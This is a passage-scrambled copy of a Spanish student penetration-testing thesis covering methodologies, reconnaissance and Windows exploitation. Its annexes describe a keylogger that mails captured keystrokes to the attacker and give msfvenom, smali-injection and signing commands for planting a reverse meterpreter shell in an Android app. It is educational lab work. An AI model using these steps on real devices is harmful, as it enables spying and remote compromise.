• La descarga de aplicaciones debe de hacerse desde sitios legales y de
confianza
• Cabe desconfiar de todas aquellas ofertas que sean demasiado buenas para
ser ciertas
• Cada vez que abandonemos nuestro lugar de trabajo conviene recordar la
política de mesas limpias
• Vigilar que cuando escribamos nuestras contraseñas en páginas relevantes
(bancos, redes sociales, etc.) no haya nadie vigilando por los alrededores.
• No aceptar las solicitudes de amistad o seguimiento en las redes sociales de
personas extrañas.
• Usar diferentes contraseñas para cada servicio y asegurarse de que sean
seguras
• No seguir enlaces, ni descargar elementos extraños de emails.
Cierto es que ningún sistema es seguro al 100%, aunque hubiera estado bien
probarlo en Linux para demostrarlo, pero eso no quiere decir que todos sean igual
de inseguros. Para tener en cuenta una cosa, Microsoft, en todo su esplendor, saca
actualizaciones, habitualmente, de seguridad y mejoras secundarias, cada segundo
martes de cada mes, esto quiere decir que una vulnerabilidad descubierta el
segundo miércoles del mes tardará, aproximadamente, un mes en solucionarse, o
dicho de un modo más profesional, el 0-day será parcheado en 30 días. Los sistemas
libres, o semi-libres, tardan en corregir sus vulnerabilidades el tiempo que tarda la
comunidad en enterarse desde que se publica dicha vulnerabilidad en CVE hasta que
la publican, que en la mayoría de los casos suele ser un periodo inferior a 48 horas.
75
11 Bibliografía
Allen, L. and Cardwell, K. (2016). Advanced Penetration Testing for Highly-
Secured Environments - Second Edition. 1st ed. Birmingham: Packt
Publishing, Limited.
Allen, L., Heriyanto, T. and Ali, S. (2014). Kali Linux - assuring security by
penetration testing. 1st ed. Birmingham, UK: Packt Pub.
Balapure, A. (2013). Learning Metasploit exploitation and development.
1st ed. Birmingham, UK: Packt Pub.
Cardwell, K. (2014). Building virtual pentesting labs for advanced
penetration testing. 1st ed. Birmingham, UK: Packt Pub.
Dregier, L. (2017). Free Penetration Testing and Ethical Hacking Training
Course - Cybrary. [online] Cybrary. Available at:
https://www.cybrary.it/course/ethical-hacking/ [Accessed 19 May
2017].
Kalsi, T. (2016). Practical Linux security cookbook. 1st ed. Birmingham
(Gran Bretaña): Packt Publishing.
Pompilio, D. (2017). Free Online Metasploit Training - Cybrary. [online]
Cybrary. Available at: https://www.cybrary.it/course/metasploit/
[Accessed 19 May 2017].
Weidman, G. (2017). Free Advanced Penetration Testing Training Class
from Cybrary. [online] Cybrary. Available at:
https://www.cybrary.it/course/advanced-penetration-testing/
[Accessed 19 May 2017].
Willie L. Pritchett. David De Smet. (2013). Kali Linux Cookbook. 1st ed.
Packt Publishing.
76
Kreponic, E. (2017). Build an Advanced Keylogger using C++ for Ethical
Hacking!. [online] Udemy. Available at: https://www.udemy.com/how-to-
create-an-advanced-keylogger-from-scratch-for-
windows/learn/v4/overview [Accessed 29 May 2017].
Alvarez, X. (2017). [image] Available at:
https://www.youtube.com/watch?v=0lDvclMrymM [Accessed 30 May
2017].
Seguridad en Sistemas y Técnicas de Hacking. TheHackerWay (THW).
(2017). Cómo inyectar malware en una aplicación Android legítima..
[online] Available at: https://thehackerway.com/2017/05/22/malware-
apk-android/ [Accessed 30 May 2017].
YouTube. (2017). Hacking Windows 7 using EternalBlue & DoublePulsar
via Metasploit on Kali Linux 2017. [online] Available at:
https://www.youtube.com/watch?v=wDAkiXxm1gE [Accessed 13 Jun.
2017].
YouTube. (2017). PLaying with eternalblue. [online] Available at:
https://www.youtube.com/watch?v=JuhwoCNuiPo [Accessed 13 Jun.
2017].
YouTube. (2017). Privilege escalation in Windows 7-8-10 x86/x64.
[online] Available at: https://www.youtube.com/watch?v=74EKxv6KxAg
[Accessed 13 Jun. 2017].
77
12 Anexos
12.1 Anexo A: Desarrollo de un Keylogger en C++
Durante el desarrollo de este proyecto también aprendí como se desarrolla un
famoso spyware, los Keyloggers. Para quien no conozca que es un Keylogger, según
Wikipedia, es un tipo de software o un dispositivo hardware específico que se
encarga de registrar las pulsaciones que se realizan en el teclado, para
posteriormente memorizarlas en un fichero o enviarlas a través de internet. Como
IDE de desarrollo decidimos utilizar CodeBlocks.
Nuestro Keylogger consta de 8 archivos (7 headers y un main):
• Base64
• Helper
• IO
• KeybHook
• KeyConstants
• SendMail
• Timer
• Main
12.1.1 Base64
El archivo Base64 es el encargado de cifrar las capturas almacenadas para que
cuando sean enviadas por mail o mientras se almacenan en el ordenador de la
víctima no puedan ser descubiertas.
78
Imagen 12.1 Base64 Parte 1
Imagen 12.2 Base64 Parte 2
12.1.2 Helper
Con este header, conseguimos varias cosas que podríamos llamar “esenciales” pues,
este header, entre sus funciones, se encuentra la creación de los archivos de log, la
conversión de los datos manejados por el Keylogger a tipo String, y la creación y
manejo de fechas.
79
Imagen 12.3 Helper Parte 1
80
Imagen 12.4 Helper Parte 2
Imagen 12.5 Helper Parte 3
12.1.3 IO
El Header IO, se encarga de gestionar el almacenamiento (creación de archivos y
carpetas) donde se almacenarán los datos recopilados por el Keylogger.
81
Imagen 12.6 IO Parte 1
82
Imagen 12.7 IO Parte 2
12.1.4 KeybHook
Si hay un fichero encargado de detectar las pulsaciones del usuario, es esté. Se
encarga de recopilar las pulsaciones de teclado y ratón por el usuario y
transmitírselas al header IO para que las cifre en Base64 y las almacene en el archivo
correspondiente.
83
Imagen 12.8 KeybHook Parte 1
Imagen 12.9 KeybHook Parte 2
84
Imagen 12.10 KeybHook Parte 3
Imagen 12.11 KeybHook Parte 4
12.1.5 KeyConstants
El header KeyConstants se dedica a traducir las señales de las pulsaciones del
teclado al “lenguaje humano”.
85
Imagen 12.12 KeyConstants
12.1.6 SendMail
Aquí, para evitar tener que instalar aplicaciones extra, el header SendMail llama a
una instancia de PowerShell que, con el código adecuado, insertado en un script,
permite el envío de emails por Gmail.
86
Imagen 12.13 SendMail Parte 1
Imagen 12.14 SendMail Parte 2
87
Imagen 12.15 SendMail Parte 3
Imagen 12.16 SendMail Parte 4
88
Imagen 12.17 SendMail Parte 5
12.1.7 Timer
El Keylogger necesita, cada cierto tiempo, enviar los datos, comprobar que está en
funcionamiento, etc. Para ello hemos implementado el header Timer que se encarga
de gestionar el tiempo y de que los procesos entren en funcionamiento cada vez que
son necesarios.
Imagen 12.18 Timer Parte 1
89
Imagen 12.19 Timer parte 2
Imagen 12.20 Timer Parte 3
90
12.2 Anexo B: Inyección de código malicioso en .APK de Android
Actualmente, cada vez más, los dispositivos móviles están ocupando más cuota de
mercado. Si a eso sumamos el cada vez mas demandado por las empresas y
empleados BYOD o BYOT (Bring Your Own Device/Technology) podemos
encontrarnos con graves brechas de seguridad, que pueden afectarnos económica y
reputacionalmente hablando, en nuestras redes informáticas “seguras”. Sabemos
que ningún dispositivo es 100% seguro, los móviles u smartphones tampoco. Para
demostrarlo hemos inyectado malware en una aplicación de Android. Aquí
explicamos el proceso.
1-. El primero de los pasos será con msfvenom crear una app maliciosa con una
consola reverse https. El comando para generarla es el siguiente:
msfvenom -p android/meterpreter/reverse_https LHOST=xxxx LPORT=4444 -o
/home/adastra/meterpreter.apk
2-. Descargamos la aplicación en la que deseemos inyectar el código y la
descompilamos con la aplicación apktool.
Imagen 12.21 Decompilacion de com.whatsapp.apk
91
3-. Descompilamos también la aplicación creada por nosotros y añadimos la carpeta
metasploit (residida en /smali) a la carpeta /smail de la aplicación descargada
4-. Buscamos la función main, en el archivo de mismo nombre, de la aplicación
descargada e insertamos la siguiente línea debajo:
invoke-static {p0}, Lcom/metasploit/stage/Payload;-
>start(Landroid/content/Context;)V
5-. Modificamos en el manifest.xml los permisos de la aplicación para que coincidan
con los permisos requeridos por el código malicioso. Deberían tener, al menos, los
siguientes:
Imagen 12.22 Permisos requeridos por el payload
6-. Volvemos a compilar la aplicación con la apktool:
apktool b original/originalDecompiled/
7-. Finalmente, ya para acabar, firmamos la aplicación con el comando jarsigner:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -
keypass android -digestalg SHA1 -sigalg MD5withRSA
original/originalDecompiled/dist/momo_6.7_0413_c1.apk androiddebugkey
12.3 Anexo C: Extraer metadatos de una imagen
A veces, para realizar algunos ataques de ingeniería social se requieren datos sobre
intereses, lugares visitados, familia y amigos, entre otros. Gracias a la gran
popularidad de las redes, mucha de esta información puede ser encontrada
fácilmente. ¿Pero qué pasa cuando vemos una imagen y no reconocemos la
ubicación? ¿Y si queremos saber cuál fue la cámara con la que se realizó la imagen?
92
Aunque parezca mentira, todos esos datos y más pueden ser recolectados gracias a
un pequeño fragmento de código, lo cual nos facilita muchísimo las tareas que
queramos llevar a cabo. Un ejemplo de código que nos ayudará a extraer los
metadatos de las imágenes es el siguiente:
Imagen 12.23 Extractor de metadatos en Python
93

Más contenido relacionado

La actualidad más candente

La actualidad más candente (19)

Labarca
LabarcaLabarca
Labarca
 
Manual pu 2012 v30082012 neodata
Manual pu 2012  v30082012 neodataManual pu 2012  v30082012 neodata
Manual pu 2012 v30082012 neodata
 
Cruzsoft Project Manager
Cruzsoft Project ManagerCruzsoft Project Manager
Cruzsoft Project Manager
 
Trabajo internacional privado
Trabajo  internacional privadoTrabajo  internacional privado
Trabajo internacional privado
 
Carreteras
CarreterasCarreteras
Carreteras
 
MANUAL
MANUAL MANUAL
MANUAL
 
Sql server desde0
Sql server desde0Sql server desde0
Sql server desde0
 
Curso calidad potencia
Curso calidad potenciaCurso calidad potencia
Curso calidad potencia
 
Pandora FMS: Monitorización de servidor Open LDAP para administradores
Pandora FMS: Monitorización de servidor Open LDAP para administradoresPandora FMS: Monitorización de servidor Open LDAP para administradores
Pandora FMS: Monitorización de servidor Open LDAP para administradores
 
El mundo celta (ii parte)
El mundo celta (ii parte)El mundo celta (ii parte)
El mundo celta (ii parte)
 
Procesos productivos de manufactura
Procesos productivos de manufacturaProcesos productivos de manufactura
Procesos productivos de manufactura
 
Tarea_2_Automatización
Tarea_2_AutomatizaciónTarea_2_Automatización
Tarea_2_Automatización
 
1 manual general_de_adquisiciones
1 manual general_de_adquisiciones1 manual general_de_adquisiciones
1 manual general_de_adquisiciones
 
Pandora FMS: Plugin Enterprise de SQL
Pandora FMS: Plugin Enterprise de SQLPandora FMS: Plugin Enterprise de SQL
Pandora FMS: Plugin Enterprise de SQL
 
Algo de redes
Algo de redes Algo de redes
Algo de redes
 
Normas de gas del Estado - Argentina
Normas de gas del Estado - ArgentinaNormas de gas del Estado - Argentina
Normas de gas del Estado - Argentina
 
Variaciones sobre la presunción de inocencia: Análisis funcional desde el Der...
Variaciones sobre la presunción de inocencia: Análisis funcional desde el Der...Variaciones sobre la presunción de inocencia: Análisis funcional desde el Der...
Variaciones sobre la presunción de inocencia: Análisis funcional desde el Der...
 
Manualdeajax
ManualdeajaxManualdeajax
Manualdeajax
 
Manual de ajax las entrañas de ajax
Manual de ajax   las entrañas de ajaxManual de ajax   las entrañas de ajax
Manual de ajax las entrañas de ajax
 

Similar a Hablemos de Seguridad (20)

Tablas logicas
Tablas logicasTablas logicas
Tablas logicas
 
Servidor de correo
Servidor de correoServidor de correo
Servidor de correo
 
Servidor de correo (postfix)
Servidor de  correo (postfix)Servidor de  correo (postfix)
Servidor de correo (postfix)
 
Servlets
ServletsServlets
Servlets
 
Servlets
ServletsServlets
Servlets
 
Servlets
ServletsServlets
Servlets
 
Virus
VirusVirus
Virus
 
Tabla de contenido
Tabla de contenidoTabla de contenido
Tabla de contenido
 
Arcview fao
Arcview faoArcview fao
Arcview fao
 
Tarea n3
Tarea n3Tarea n3
Tarea n3
 
4 diagramas
4 diagramas4 diagramas
4 diagramas
 
FIX EXPRESS
FIX EXPRESSFIX EXPRESS
FIX EXPRESS
 
MANUAL WORD
MANUAL WORDMANUAL WORD
MANUAL WORD
 
Tutorial Slideshare
Tutorial SlideshareTutorial Slideshare
Tutorial Slideshare
 
Manual ppr
Manual pprManual ppr
Manual ppr
 
Manual ppr
Manual pprManual ppr
Manual ppr
 
Linux
LinuxLinux
Linux
 
Tutorial_QGIS_3.2 Básico.pdf
Tutorial_QGIS_3.2 Básico.pdfTutorial_QGIS_3.2 Básico.pdf
Tutorial_QGIS_3.2 Básico.pdf
 
Photo story
Photo storyPhoto story
Photo story
 
PROYECTO ASIR - Clúster de Alta Disponibilidad en Proxmox VE 4.4
PROYECTO ASIR - Clúster de Alta Disponibilidad en Proxmox VE 4.4PROYECTO ASIR - Clúster de Alta Disponibilidad en Proxmox VE 4.4
PROYECTO ASIR - Clúster de Alta Disponibilidad en Proxmox VE 4.4
 

Hablemos de Seguridad

  • 1. Hablemos de seguridad Los inicios de un hacker Kevin Rodríguez Lago INS LES SALINES ASIX 2
  • 2. 1
  • 3. 2 1 Tabla de contenido 1 Tabla de contenido ....................................................................................................................2 2 Tabla de imágenes .....................................................................................................................6 3 Preámbulo.....................................................................................................................................9 4 Planificación...............................................................................................................................10 5 Objetivo........................................................................................................................................11 6 Metodologías para una buena Penetration Testing....................................................12 6.1 Open Source Security Testing Methodology Manual........................................12 6.1.1 Estándares de testeo seguridad.........................................................................13 6.1.1.1 Ciego.....................................................................................................................14 6.1.1.2 Doble Ciego........................................................................................................14 6.1.1.3 Caja Gris..............................................................................................................14 6.1.1.4 Doble Caja Gris.................................................................................................14 6.1.1.5 Tándem...............................................................................................................14 6.1.1.6 Reversal ..............................................................................................................14 6.1.2 Características clave y beneficios......................................................................14 6.2 Information Systems Security Assessment Framework..................................15 6.2.1 Características clave y beneficios......................................................................16 6.3 Open Web Application Security Project.................................................................17 6.3.1 Características clave y beneficios......................................................................18 6.4 Web Application Security Consortium Threat Classification ........................18 6.4.1 Vista de Enumeración............................................................................................19 6.4.2 Vista de desarrollo ..................................................................................................19 6.4.3 Taxonomy cross-reference view........................................................................20 6.4.4 Características clave y beneficios......................................................................20 6.5 Penetration Testing Execution Standard...............................................................21 6.5.1 Fases de una prueba de penetración................................................................21
  • 4. 3 6.5.1.1 Interacciones previas ....................................................................................21 6.5.1.2 Recolección de información........................................................................22 6.5.1.3 Modelado de amenaza...................................................................................22 6.5.1.4 Análisis de Vulnerabilidades ......................................................................22 6.5.1.5 Explotación........................................................................................................22 6.5.1.6 Post-explotación..............................................................................................22 6.5.1.7 Informe ...............................................................................................................22 7 Pruebas previas.........................................................................................................................23 7.1 FootPrinting......................................................................................................................23 7.1.1 Páginas Blancas / amarillas.................................................................................23 7.1.2 Google y otros buscadores...................................................................................26 7.1.3 Whois............................................................................................................................31 7.1.4 Redes Sociales...........................................................................................................33 7.1.5 NSlookup.....................................................................................................................37 8 Penetration testing en Windows........................................................................................38 8.1 Preparativos......................................................................................................................38 8.2 Modelado de la amenaza..............................................................................................38 8.3 Análisis de Vulnerabilidades y enumeración.......................................................39 8.3.1 Nmap ............................................................................................................................40 8.3.1.1 Evaluación del objetivo.................................................................................40 8.3.1.1.1 Nmap -sV -T4 -O -F –versión-light 10.212.21.116........................41 8.3.1.1.2 Nmap -p 1-65535 -T4 -A -v 10.212.21.116 .....................................42 8.3.1.1.3 Nmap -sN -T5 10.212.21.116................................................................43 8.3.1.1.4 Nmap -v -O -Pn -n 10.212.21.116........................................................44 8.3.1.1.5 Nmap -f -n -P0 -v -p- -T4 10.212.21.116 ..........................................45 8.3.2 Nessus..........................................................................................................................45 8.3.2.1 Evaluación del objetivo.................................................................................46
  • 5. 4 8.3.3 Smbclient ....................................................................................................................50 8.3.3.1 Evaluación del objetivo.................................................................................50 8.3.4 Hping3..........................................................................................................................50 8.3.4.1 Evaluación del objetivo.................................................................................51 8.3.5 DNSenum ....................................................................................................................51 8.3.5.1 Evaluación del objetivo.................................................................................52 8.3.6 PsTools.........................................................................................................................52 8.3.6.1 Evaluación del objetivo.................................................................................52 8.3.6.1.1 Psfile...............................................................................................................53 8.3.6.1.2 PsGetsid.........................................................................................................54 8.3.6.1.3 PsInfo .............................................................................................................54 8.3.6.1.4 PsList..............................................................................................................55 8.3.6.1.5 PsService.......................................................................................................55 8.4 Explotación........................................................................................................................55 8.4.1 Metasploit...................................................................................................................56 8.4.1.1 Edición Metasploit..........................................................................................56 8.4.1.2 Edición Community Metasploit.................................................................56 8.4.1.3 Metasploit express..........................................................................................56 8.4.1.4 Metasploit Pro..................................................................................................57 8.4.1.5 Armitage.............................................................................................................57 8.4.2 Veil.................................................................................................................................57 8.4.3 Prueba de explotación: CVE – 2017-0199......................................................57 8.4.4 EternalBlue y DoublePulsar.................................................................................64 8.5 Post-Explotación.............................................................................................................67 8.5.1 Ransomware Wannacry........................................................................................67 8.5.2 MS16-032....................................................................................................................71 9 Penetration Testing en Linux ..............................................................................................73
  • 6. 5 10 Conclusiones..........................................................................................................................74 11 Bibliografía.............................................................................................................................75 12 Anexos......................................................................................................................................77 12.1 Anexo A: Desarrollo de un Keylogger en C++ ....................................................77 12.1.1 Base64 .....................................................................................................................77 12.1.2 Helper ......................................................................................................................78 12.1.3 IO................................................................................................................................80 12.1.4 KeybHook...............................................................................................................82 12.1.5 KeyConstants ........................................................................................................84 12.1.6 SendMail .................................................................................................................85 12.1.7 Timer........................................................................................................................88 12.2 Anexo B: Inyección de código malicioso en .APK de Android .......................90 12.3 Anexo C: Extraer metadatos de una imagen.........................................................91
  • 7. 6 2 Tabla de imágenes Imagen 4.1 Tempos ideales estimados......................................................................................10 Imagen 4.2 Tempos reales..............................................................................................................10 Imagen 7.1 Filtros Paginas Amarillas.........................................................................................24 Imagen 7.2 Resultados a la busqueda........................................................................................25 Imagen 7.3 Direccion erronea del resultado...........................................................................26 Imagen 7.4 Busqueda en Google..................................................................................................26 Imagen 7.5 Pagina principal del campus..................................................................................27 Imagen 7.6 Pagina principal del centro.....................................................................................28 Imagen 7.7 Pagina de Facebook...................................................................................................29 Imagen 7.8 Pagina de Twitter.......................................................................................................30 Imagen 7.9 Pagina de Instagram..................................................................................................30 Imagen 7.10 Informacion de contacto del centro..................................................................31 Imagen 7.11 Pagina de Whois.......................................................................................................32 Imagen 7.12 Resultados de busqueda de inslessalines.cat en whois ............................33 Imagen 7.13 Resultado de busqueda de insriberabaixa2.com en whois .....................33 Imagen 7.14 Perfiles de Facebook para Victor Lino.............................................................34 Imagen 7.15 Perfiles de LinkedIn Miguel Angel Noval........................................................35 Imagen 7.16 Perfil de Miguel Angel Noval Giralt...................................................................36 Imagen 7.17 Nuestras sospechas se terminan de confirmar............................................36 Imagen 7.18 Resultados NsLookup ............................................................................................37 Imagen 7.19 Resultados servidores MX NsLookup ..............................................................37 Imagen 8.1 Resultados prueba 1 NMAP....................................................................................41 Imagen 8.2 Resultados prueba 2 NMAP..................................................................................42 Imagen 8.3 Resultado prueba 3 NMAP......................................................................................43 Imagen 8.4 Resultado prueba 4 NMAP......................................................................................44 Imagen 8.5 Resultado prueba 5 NMAP......................................................................................45 Imagen 8.6 Pagina principal Nessus...........................................................................................46 Imagen 8.7 Configuracion del Advanced Scan........................................................................47 Imagen 8.8 Pantalla de estado de los Scans de Nessus .......................................................48 Imagen 8.9 Advanced Scan en funcionamiento......................................................................49 Imagen 8.10 Resultados de la prueba Nessus.........................................................................49 Imagen 8.11 Resultados del Null Session con smbclient....................................................50
  • 8. 7 Imagen 8.12 Resultados de la prueba, haciendo bypass al firewall, con hPing3 ......51 Imagen 8.13 Resultados DNSEnum ............................................................................................52 Imagen 8.14 Prueba PsTools: Psfile............................................................................................53 Imagen 8.15 Prueba PsTools: Psfile64 ......................................................................................53 Imagen 8.16 Prueba PsTools: PsGetsId.....................................................................................54 Imagen 8.17 Prueba PsTools: PsInfo..........................................................................................54 Imagen 8.18 Prueba PsTools: PsList ..........................................................................................55 Imagen 8.19 Prueba PsTools: PsService ...................................................................................55 Imagen 8.20 Creacion del archivo informacion.doc en /var/www/html....................57 Imagen 8.21 Configuracion del payload, el handler y el meterpreter con Veil- evassion.................................................................................................................................................58 Imagen 8.22 Nombre del payload ...............................................................................................59 Imagen 8.23 Obfuscación del payload .......................................................................................59 Imagen 8.24 Carpetas contenedoras de los payload, handler y meterpreter ............60 Imagen 8.25 Insertamos el objeto...............................................................................................60 Imagen 8.26 Elegimos el documento a insertar.....................................................................61 Imagen 8.27 Guardamos el documento en formato RTF....................................................61 Imagen 8.28 Abrimos el documento RTF con el bloc de notas ........................................62 Imagen 8.29 Buscamos la palabra clave ‘obj’..........................................................................62 Imagen 8.30 Buscamos la palabra clave ‘obj’..........................................................................62 Imagen 8.31 Entre object y objautlink añadimos objupdate.....................................62 Imagen 8.32 Descargamos htattack............................................................................................63 Imagen 8.33 Paramos el servicio apache 2 e iniciamos htattack....................................63 Imagen 8.34 Inicamos el handler para permanecer a la escucha ...................................63 Imagen 8.35 Descargamos el ransomware..............................................................................68 Imagen 8.36 Extraemos el zip y renombramos wannacry.infected por wannacry.exe.......................................................................................................................................68 Imagen 8.37 Archivos creados por wannacry al ejecutarse..............................................68 Imagen 8.38 Continuan creandose archivos ...........................................................................69 Imagen 8.39 Archivos cifrados por wannacry........................................................................70 Imagen 8.40 Cambio de fondo automatico por wannacry.................................................70 Imagen 8.41 Aviso de peticion de pago de wannacry..........................................................71 Imagen 8.42 Ciframiento de archivos en la carpeta compartida.....................................71
  • 9. 8 Imagen 12.1 Base64 Parte 1..........................................................................................................78 Imagen 12.2 Base64 Parte 2..........................................................................................................78 Imagen 12.3 Helper Parte 1...........................................................................................................79 Imagen 12.4 Helper Parte 2...........................................................................................................80 Imagen 12.5 Helper Parte 3...........................................................................................................80 Imagen 12.6 IO Parte 1 ....................................................................................................................81 Imagen 12.7 IO Parte 2 ....................................................................................................................82 Imagen 12.8 KeybHook Parte 1....................................................................................................83 Imagen 12.9 KeybHook Parte 2...................................................................................................83 Imagen 12.10 KeybHook Parte 3.................................................................................................84 Imagen 12.11 KeybHook Parte 4.................................................................................................84 Imagen 12.12 KeyConstants..........................................................................................................85 Imagen 12.13 SendMail Parte 1 ...................................................................................................86 Imagen 12.14 SendMail Parte 2 ...................................................................................................86 Imagen 12.15 SendMail Parte 3 ...................................................................................................87 Imagen 12.16 SendMail Parte 4 ...................................................................................................87 Imagen 12.17 SendMail Parte 5 ...................................................................................................88 Imagen 12.18 Timer Parte 1..........................................................................................................88 Imagen 12.19 Timer parte 2..........................................................................................................89 Imagen 12.20 Timer Parte 3..........................................................................................................89 Imagen 12.21 Decompilacion de com.whatsapp.apk...........................................................90 Imagen 12.22 Permisos requeridos por el payload..............................................................91 Imagen 12.23 Extractor de metadatos en Python.................................................................92
  • 10. 9 3 Preámbulo Vivimos llenos de miedos e inquietudes, informáticamente hablando, pues raro es el día que no oímos hablar de ataques informáticos, virus, troyanos, agujeros de seguridad, DDoS (por sus siglas en inglés, Distributed Denial of Service). Estos miedos, nos llevan a usar cientos de sistemas (antivirus, firewall, complementos para el navegador, políticas de navegación, etc.) que intentan evitar que seamos victimas de algunos de estos casos. Todos estos miedos tienen una supuesta explicación, queremos mantener nuestra privacidad, información y seguridad, y la de nuestros dispositivos, a salvo. Estamos de acuerdo en que proteger nuestra información, privacidad y seguridad es clave para mantener nuestras empresas, a nivel colectivo, y nuestras libertades sociales e individuales. Habrá quien se pregunte, ¿Son necesarios todos estos sistemas para garantizar la seguridad de nuestra información y nuestra privacidad? ¿Son realmente funcionales dichos sistemas?
  • 11. 10 4 Planificación Debido a diversas causas no planificadas y errores inesperados he tenido que readaptar los tiempos del proyecto a medida que me iban surgiendo dichas cosas. Gantt Estimado: Imagen 4.1 Tempos ideales estimados Gantt Real: Imagen 4.2 Tempos reales
  • 12. 11 5 Objetivo Los objetivos de este proyecto son: - Realizar una prueba de penetración en sistemas Windows para estudiar la seguridad otorgada por los mismos. La cual constará de las siguientes partes: • Modelado de Amenaza • Análisis de Vulnerabilidades y enumeración • Explotación • Post-Explotación - Realizar una prueba de penetración en sistemas Linux virtualizados
  • 13. 12 6 Metodologías para una buena Penetration Testing Para una buena evaluación de la seguridad de los diferentes sistemas fueron creadas varias metodologías de código abierto. Usando estas metodologías de evaluación se pueden cumplir con los plazos críticos de tiempo y desafiar cualquier sistema de seguridad independientemente de su tamaño o complejidad. Algunas metodologías se centran en los aspectos técnicos de las pruebas de seguridad mientras que otros se centran en los criterios gerenciales y unos pocos se centran en ambas cosas. La idea básica detrás de realizar estas metodologías con las evaluaciones es ejecutar diferentes tipos de test paso a paso en orden para de manera precisa juzgar la seguridad de un sistema. Por lo tanto, se introducirán varias metodologías de evaluación de la seguridad bien conocidas que nos proporcionarán una visión extendida de las evaluaciones de red y aplicaciones de seguridad destacando sus principales características y beneficios. Las metodologías que incluiremos son las siguientes: • Open Source Security Testing Methodology Manual • Information System Security Assessment Framework • Open Web Application Security Project Testing Guide • Web Application Security Consortium Threat Classification • Penetration Testing Execution Standard 6.1 Open Source Security Testing Methodology Manual OSSTMM es un standard con reconocimiento internacional creado por Pete Herzog y desarrollado por ISECOM para análisis y pruebas de seguridad. Es usado por diversas organizaciones en sus evaluaciones del día a día. Desde una perspectiva técnica, esta técnica está dividida en 4 grupos clave: alcance, canal, índice y vector. El alcance define un proceso de recolecta de información en todos los bienes en el ambiente objetivo. El canal determina el tipo de comunicación e interacción que habrá con los bienes los cuales pueden ser físicos, espectros y comunicativos. Todos estos canales representan un único set de los componentes de seguridad y deben ser testeados y verificados durante el periodo de evaluación. En estos componentes estarían comprendidos la seguridad física, la psicología humana, la información de
  • 14. 13 la red los medios de comunicación Wireless y las telecomunicaciones. El índice es un método para clasificar bienes objetivo que se corresponde con sus particulares identificaciones como la dirección MAC o la dirección IP. El vector concluye en qué dirección puede el auditor evaluar y analizar cada bien funcional. Todo el proceso inicia un mapa de ruta que evalúa el entorno objetivo a fondo y es conocido como auditoria de alcance. El marco de referencia provisto en evaluaciones técnicas por OSSTMM es flexible y capaz de derivar ciertos casos en cinco componentes de seguridad con sus tres canales consecutivos. Estas pruebas generalmente examinan el objetivo evaluando sus controles de acceso, procesos de seguridad, controles de información, localizaciones físicas, protección de los perímetros, el nivel de conciencia de seguridad, nivel de confianza, control de protección de fraude, y otros procedimientos. Todos los procedimientos de ensayo ponen el foco en lo que hay que testear, como ha de ser testeado, que tácticas han de ser aplicadas antes, durante y después del test y como interpretar y correlacionar los resultados finales. Capturar el estado actual de la protección del objetivo es muy útil e inestimable. Para poner solución, la metodología OSSTMM ha introducido el termino RAV (Risk Assessment Values, por sus siglas en ingles). La función básica del RAV es analizar los resultados de las pruebas y computar el valor actual de la seguridad basado en tres factores, seguridad operacional, pérdida de control y limitaciones. El resultado final es conocido como RAV score. Desde el punto de vista empresarial, el RAV score, ayuda a optimizar y justificar las inversiones en medidas de seguridad. 6.1.1 Estándares de testeo seguridad Hay diferentes formas de testear la seguridad que han sido clasificadas bajo la metodología OSSTMM y sus organizaciones la presentas bajo seis tipos de estándares de testeo de seguridad: • Ciego • Doble Ciego • Caja gris • Doble Caja Gris • Tándem • Reversal
  • 15. 14 6.1.1.1 Ciego La prueba ciega no requiere ningún conocimiento previo acerca del objetivo. Sin embargo, el objetivo es informado antes de la ejecución de una auditoria de alcance. El Hacking Ético y los juegos de guerra son ejemplos de este tipo de prueba. 6.1.1.2 Doble Ciego En el Doble Ciego, ningún auditor requiere información previa sobre el objetivo, pero el objetivo tampoco es informado con anterioridad a la prueba. Las auditorias de Caja Negra y las pruebas de penetración son ejemplos de Doble Ciego. Al ser la auditoria que más se acerca a los casos reales, esta es la más usada a día de hoy porque obliga a usar la mejor variedad de herramientas y técnicas para alcanzar el objetivo requerido. 6.1.1.3 Caja Gris Aquí el auditor tiene información limitada acerca del objetivo y el objetivo además es informado con anterioridad a la ejecución de la prueba. La evaluación de vulnerabilidades es uno de los ejemplos básicos de Caja Gris. 6.1.1.4 Doble Caja Gris La Doble Caja Gris es similar a la anterior (Caja Gris) solo que hay un periodo de tiempo limitado para la auditoria y no hay canales o vectores probados. Las pruebas de Caja Blanca son un ejemplo de Doble Caja Gris. 6.1.1.5 Tándem En este estándar, el auditor tiene la mínima información del objetivo y además, el objetivo es informado con anterior a la ejecución de la prueba. 6.1.1.6 Reversal Para finalizar, en Reversal, el auditor, tiene toda la información sobre el objetivo, pero el objetivo no será nunca informado sobre cómo y cuándo se realizará el test. 6.1.2 Características clave y beneficios • Practicar la metodología OSSTMM ayuda a reducir los casos de falso negativo y falso positivo y provee mediciones de seguridad reproducibles. • El marco de referencia es adaptable a diversos tipos de pruebas de seguridad, como Penetration Testing, auditoria de Caja Blanca, etcétera.
  • 16. 15 • Asegura que la evaluación será llevada a cabo a fondo y resultados recogidos serán consistentes, cuantificables y de confianza. • La metodología por sí sola, sigue el proceso de cuatro fases individualmente conectadas: fase de definición, fase de información, fase de regulación y de control de pruebas. Cada una de estas, obtiene, evalúa y verifica la información respecto al entorno objetivo. • RAV calcula el valor actual de seguridad basado en seguridad operativa, pérdida de control, y limitaciones. El resultado, conocido como RAV score, representa el estado actual de la seguridad del objetivo. • Formalizando la evaluación mediante el uso del modelo de Security Test Audit Report (STAR) puede ser una ventaja para la gestión, así como de la gestión del equipo técnico mientras se revisan las pruebas de los objetivos, el valor de evaluación de los objetivos y el resultado del test de cada fase. • La metodología es actualizada regularmente con nuevas tendencias de seguridad, normativas y planteamientos éticos. • El proceso OSSTMM puede ser coordinado con las regulaciones de la industria, las políticas empresariales, y las legislaciones gubernamentales. Adicionalmente, un auditor certificado puede ser elegible para acreditación desde el ISECOM (Institute for Security and Open Methodologies) directamente. 6.2 Information Systems Security Assessment Framework ISSAF es otro marco de referencia de código abierto para el análisis y las pruebas de seguridad. Integrando este marco en un ciclo de vida empresarial regular, proveerá precisión, integridad y eficiencia requerida para cumplir con los requisitos de seguridad de una organización. ISSAF fue desarrollado para centrarse en dos áreas de testeo de seguridad – técnica y de gestión. La parte técnica establece el conjunto
